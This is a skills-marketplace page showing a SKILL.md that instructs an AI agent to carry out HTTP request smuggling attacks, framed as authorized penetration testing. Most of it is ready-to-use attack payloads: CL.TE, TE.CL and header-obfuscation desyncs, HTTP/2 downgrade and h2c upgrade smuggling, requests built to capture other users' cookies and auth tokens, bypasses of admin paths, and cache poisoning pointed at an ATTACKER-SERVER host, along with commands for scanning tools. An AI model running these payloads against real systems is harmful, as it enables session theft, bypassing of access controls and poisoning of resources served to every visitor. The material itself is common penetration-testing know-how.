用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/blacklanternsecurity/red-run --skill request-smuggling命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
正在显示 SKILL.md
基于 SOC 职业分类
| name | request-smuggling |
| description | Guide HTTP request smuggling exploitation during authorized penetration testing. |
| keywords | ["request smuggling","HTTP desync","CL.TE","TE.CL","H2 smuggling","h2c smuggling","transfer-encoding chunked","content-length desync","HTTP/2 downgrade","response desync","connection state attack","hop-by-hop","HTTP pipeline","websocket smuggling"] |
| tools | ["burpsuite (HTTP Request Smuggler extension)","smuggler.py","smuggleFuzz","h2csmuggler"] |
| opsec | medium |
You are helping a penetration tester exploit HTTP request smuggling vulnerabilities. The target has a front-end server (reverse proxy, CDN, load balancer) and a back-end server that disagree on where one HTTP request ends and the next begins. The goal is to desynchronize the request pipeline to hijack other users' requests, bypass access controls, or poison caches. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[request-smuggling] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
smuggler.py (pip install smuggler) or smuggleFuzz for automated scanningIf not already provided, determine:
Server, Via, X-Powered-By, X-Cache headers# Detect front-end/back-end via headers
curl -sI https://TARGET/ | grep -iE 'server|via|x-powered|x-cache|x-forwarded'
# Check HTTP/2 support
curl -sI --http2 https://TARGET/ -o /dev/null -w '%{http_version}\n'
# smuggler.py — automated detection
python3 -m smuggler -u https://TARGET/
The front-end uses Content-Length, the back-end uses Transfer-Encoding.
Send a request where CL includes the full body but TE terminates early. If the back-end uses TE, it processes only the chunk and the remainder poisons the next request in the pipeline.
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
0\r\n\r\nG) per Content-Length, forwards all0 = end, leaves G in bufferG → back-end returns 405 or
"Unrecognized method GPOST"Confirmation: If the second request (from you or another user on the same connection) gets a 405 or unexpected error, CL.TE desync is confirmed.
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
1
Z
Q
0\r\n\r\n (back-end hangs waiting for end of chunked body)The front-end uses Transfer-Encoding, the back-end uses Content-Length.
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
8 bytes → SMUGGLED, then 0 → end8\r\n), leaves SMUGGLED\r\n0\r\n\r\n in bufferImportant: In Burp Repeater, disable "Update Content-Length". The trailing
blank line after 0 must include \r\n\r\n.
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
X
0), back-end reads CL=6 and waits
for more dataBoth servers support Transfer-Encoding, but one can be tricked into ignoring it through header obfuscation. This degrades to either CL.TE or TE.CL.
Try each — one may cause a server to fall back to Content-Length:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
Transfer-Encoding: chunked
X: X\nTransfer-Encoding: chunked
Transfer-Encoding
: chunked
Transfer-Encoding: chunk
Transfer-Encoding: chunKed
Test each obfuscation with the CL.TE and TE.CL detection probes from Steps 2-3. When one pair triggers a desync, you've identified which server ignores the obfuscated TE header.
Once the desync type is confirmed, smuggle a partial request that captures the next user's request.
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked
0
POST /log HTTP/1.1
Content-Length: 200
The back-end sees chunk 0 (end), then POST /log as the next request.
The victim's next request body is appended to the smuggled request's body
(up to CL=200). If /log reflects input or stores it, the victim's
headers (including cookies and auth tokens) are captured.
POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
71
POST /log HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
x=
0
Note: 71 is the hex length of the smuggled prefix (calculate exactly).
The back-end reads CL=4 (71\r\n), leaves the smuggled request in buffer.
Smuggle a request to an admin endpoint that the front-end blocks:
POST / HTTP/1.1
Host: TARGET
Content-Length: 54
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: TARGET
X-Ignore: X
The front-end sees a POST to / (allowed). The back-end processes the
smuggled GET /admin as a separate request, bypassing front-end path
restrictions.
If the front-end adds headers (X-Forwarded-For, X-Real-IP), smuggled requests bypass them — the back-end sees raw smuggled headers. Use this to:
When the front-end speaks HTTP/2 but downgrades to HTTP/1.1 for the back-end.
HTTP/2 uses frame length for body size. If the front-end trusts frame length but the back-end trusts Content-Length after downgrade:
:method: POST
:path: /
:authority: TARGET
content-length: 0
GET /admin HTTP/1.1
Host: TARGET
The HTTP/2 frame contains the full body (including GET /admin). Front-end
forwards it all. Back-end reads CL=0, treats the rest as the next request.
:method: POST
:path: /
:authority: TARGET
transfer-encoding: chunked
0
GET /admin HTTP/1.1
Host: TARGET
Front-end reads the full H2 frame. Back-end reads chunked, hits 0 (end),
treats GET /admin as a new request.
HTTP/2 pseudo-headers don't normally contain CRLF. But if the front-end doesn't validate and the back-end receives HTTP/1.1:
:method: POST
:path: / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: TARGET
The injected CRLF creates a complete smuggled request after downgrade.
If the front-end forwards Upgrade: h2c to the back-end:
GET / HTTP/1.1
Host: TARGET
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
If the back-end responds 101 Switching Protocols, the connection upgrades
to raw HTTP/2 — bypassing all front-end request inspection for subsequent
requests.
# h2csmuggler — automated h2c upgrade attack
# BishopFox version:
python3 h2csmuggler.py -x https://TARGET/ --test
# Assetnote version:
python3 h2csmuggler.py --scan-list urls.txt --threads 5
Known vulnerable proxies: HAProxy, Traefik, Nuster forward h2c by default. AWS ALB, NGINX, Apache, Squid, Envoy may be misconfigured.
Instead of prefixing a victim's request, desynchronize the response queue so a victim receives your response (or vice versa).
HEAD method technique: HEAD responses have Content-Length but no body. Smuggle a HEAD followed by a malicious request:
POST / HTTP/1.1
Host: TARGET
Content-Length: 52
Transfer-Encoding: chunked
0
HEAD /large-page HTTP/1.1
Host: TARGET
If the front-end caches responses, smuggle a request that poisons the cache:
POST / HTTP/1.1
Host: TARGET
Content-Length: 59
Transfer-Encoding: chunked
0
GET /static/main.js HTTP/1.1
Host: ATTACKER-SERVER
The cache associates the response from ATTACKER-SERVER with /static/main.js.
All subsequent users receive the poisoned resource.
If the front-end handles WebSocket upgrades:
GET /chat HTTP/1.1
Host: TARGET
Sec-WebSocket-Version: 1337
Upgrade: websocket
Connection: Upgrade
Some proxies (Varnish, older Envoy) see the Upgrade header and assume WebSocket is established without validating the back-end response. If the back-end returns 426 (wrong version) but the proxy ignores it, the connection stays open — providing unrestricted access to internal APIs.
First-request routing: Some proxies validate Host/authority only on the first request per connection. Send a benign first request, then smuggle to internal hosts:
Request 1: GET / HTTP/1.1 Host: public.example.com (passes validation)
Request 2: GET /admin HTTP/1.1 Host: internal.example.com (reuses connection)
HTTP/2 connection coalescing: Browsers reuse HTTP/2 connections when
certificate, ALPN, and IP match. If attacker controls evil.com on the
same CDN node as internal.company:
evil.com (attacker page)evil.com embeds <img src="https://internal.company/secret">Trick proxies into stripping security-relevant headers by declaring them hop-by-hop:
GET / HTTP/1.1
Host: TARGET
X-Forwarded-For: 127.0.0.1
Connection: close, X-Forwarded-For
If the proxy strips X-Forwarded-For as hop-by-hop, the back-end may see
the request as coming from the proxy's IP instead of the client's —
bypassing IP-based access controls.
After confirming smuggling:
Report in your return summary: any new credentials, access, vulns, or pivot paths discovered.
When routing, pass along: confirmed desync type (CL.TE/TE.CL/H2), working payload, and front-end/back-end stack identified.
\r\n line endings0\r\n\r\n must be complete — a missing \r\n causes
the back-end to wait indefinitelyh2csmuggler --test# smuggler.py — test all CL/TE variants
python3 -m smuggler -u https://TARGET/
# smuggleFuzz — HTTP/2 and HTTP/3 brute-force
smugglefuzz -url https://TARGET/
# Burp: Extensions → HTTP Request Smuggler → right-click → "Smuggle probe"
# Enable HTTP/2 probing in extension options for H2 downgrade testing